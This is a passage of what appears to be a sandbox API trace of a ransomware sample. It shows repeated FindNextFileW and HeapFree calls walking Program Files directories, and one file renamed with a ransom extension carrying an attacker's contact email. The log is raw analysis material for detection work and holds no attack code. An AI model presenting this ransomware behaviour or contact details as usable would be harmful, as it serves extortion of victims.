cAlternateFileName="")) returned 1 [0245.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.779] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0245.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.779] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0245.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.780] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0245.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.780] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0245.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.780] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0245.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.780] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0245.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.780] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0245.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.781] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0245.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.781] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0245.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.781] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0245.781] FindClose (in: hFindFile=0x60eb30 | out: hFindFile=0x60eb30) returned 1 [0245.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4156088 | out: hHeap=0x520000) returned 1 [0245.782] FindNextFileW (in: hFindFile=0x60ed30, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0245.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4166090 | out: hHeap=0x520000) returned 1 [0245.783] FindNextFileW (in: hFindFile=0x60ebf0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0245.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4156088 | out: hHeap=0x520000) returned 1 [0245.783] FindNextFileW (in: hFindFile=0x60ed30, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0245.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4166090 | out: hHeap=0x520000) returned 1 [0245.784] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0245.784] FindClose (in: hFindFile=0x60eb30 | out: hFindFile=0x60eb30) returned 1 [0245.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4156088 | out: hHeap=0x520000) returned 1 [0245.784] FindNextFileW (in: hFindFile=0x60ed30, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0245.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4156088 | out: hHeap=0x520000) returned 1 [0245.784] FindNextFileW (in: hFindFile=0x60ed30, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0245.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4156088 | out: hHeap=0x520000) returned 1 [0245.784] FindNextFileW (in: hFindFile=0x60ed30, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0245.857] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4156088 | out: hHeap=0x520000) returned 1 [0245.857] FindNextFileW (in: hFindFile=0x60ed30, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="TextConv", cAlternateFileName="")) returned 1 [0245.857] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4164090 | out: hHeap=0x520000) returned 1 [0245.857] FindNextFileW (in: hFindFile=0x60ecb0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="en-US", cAlternateFileName="")) returned 0 [0245.857] FindClose (in: hFindFile=0x60ecb0 | out: hFindFile=0x60ecb0) returned 1 [0245.857] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4154088 | out: hHeap=0x520000) returned 1 [0245.857] FindNextFileW (in: hFindFile=0x60ed30, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="Triedit", cAlternateFileName="")) returned 1 [0245.858] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4164090 | out: hHeap=0x520000) returned 1 [0245.858] FindNextFileW (in: hFindFile=0x60e830, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="en-US", cAlternateFileName="")) returned 0 [0245.858] FindClose (in: hFindFile=0x60e830 | out: hFindFile=0x60e830) returned 1 [0245.858] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4154088 | out: hHeap=0x520000) returned 1 [0245.858] FindNextFileW (in: hFindFile=0x60ed30, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="VC", cAlternateFileName="")) returned 1 [0245.858] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4154088 | out: hHeap=0x520000) returned 1 [0245.858] FindNextFileW (in: hFindFile=0x60ed30, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="VGX", cAlternateFileName="")) returned 1 [0245.858] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4154088 | out: hHeap=0x520000) returned 1 [0245.858] FindNextFileW (in: hFindFile=0x60ed30, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="VSTO", cAlternateFileName="")) returned 1 [0245.859] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4174098 | out: hHeap=0x520000) returned 1 [0245.859] FindNextFileW (in: hFindFile=0x60ef30, lpFindFileData=0x376f08c | out: lpFindFileData=0x376f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0245.860] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4164090 | out: hHeap=0x520000) returned 1 [0245.860] FindNextFileW (in: hFindFile=0x60ec70, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0245.860] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4154088 | out: hHeap=0x520000) returned 1 [0245.861] FindNextFileW (in: hFindFile=0x60ed30, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="VSTO", cAlternateFileName="")) returned 0 [0245.861] FindClose (in: hFindFile=0x60ed30 | out: hFindFile=0x60ed30) returned 1 [0245.861] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.861] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x376f800 | out: lpFindFileData=0x376f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc1fe, dwReserved1=0x200, cFileName="Services", cAlternateFileName="")) returned 1 [0245.861] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.861] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x376f800 | out: lpFindFileData=0x376f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc1fe, dwReserved1=0x200, cFileName="System", cAlternateFileName="")) returned 1 [0245.862] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4164090 | out: hHeap=0x520000) returned 1 [0245.862] FindNextFileW (in: hFindFile=0x60ecb0, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0245.862] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4154088 | out: hHeap=0x520000) returned 1 [0245.862] FindNextFileW (in: hFindFile=0x60e9b0, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0245.862] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4154088 | out: hHeap=0x520000) returned 1 [0245.862] FindNextFileW (in: hFindFile=0x60e9b0, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="msadc", cAlternateFileName="")) returned 1 [0245.863] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4164090 | out: hHeap=0x520000) returned 1 [0245.863] FindNextFileW (in: hFindFile=0x60ea30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0245.864] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4154088 | out: hHeap=0x520000) returned 1 [0245.864] FindNextFileW (in: hFindFile=0x60e9b0, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0245.864] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4164090 | out: hHeap=0x520000) returned 1 [0245.864] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0245.865] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4154088 | out: hHeap=0x520000) returned 1 [0245.865] FindNextFileW (in: hFindFile=0x60e9b0, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0245.865] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.866] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x376f800 | out: lpFindFileData=0x376f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc5c3c0, ftCreationTime.dwHighDateTime=0x1d5d569, ftLastAccessTime.dwLowDateTime=0x8c823ed0, ftLastAccessTime.dwHighDateTime=0x1d5c635, ftLastWriteTime.dwLowDateTime=0x8c823ed0, ftLastWriteTime.dwHighDateTime=0x1d5c635, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xffffc1fe, dwReserved1=0x200, cFileName="webdrive.exe", cAlternateFileName="")) returned 1 [0245.866] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.867] FindNextFileW (in: hFindFile=0x60ecf0, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa40e4671, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa40e4671, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa40e4671, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="desktop.ini.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DESKTO~1.HCK")) returned 1 [0245.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.867] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x376f800 | out: lpFindFileData=0x376f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, 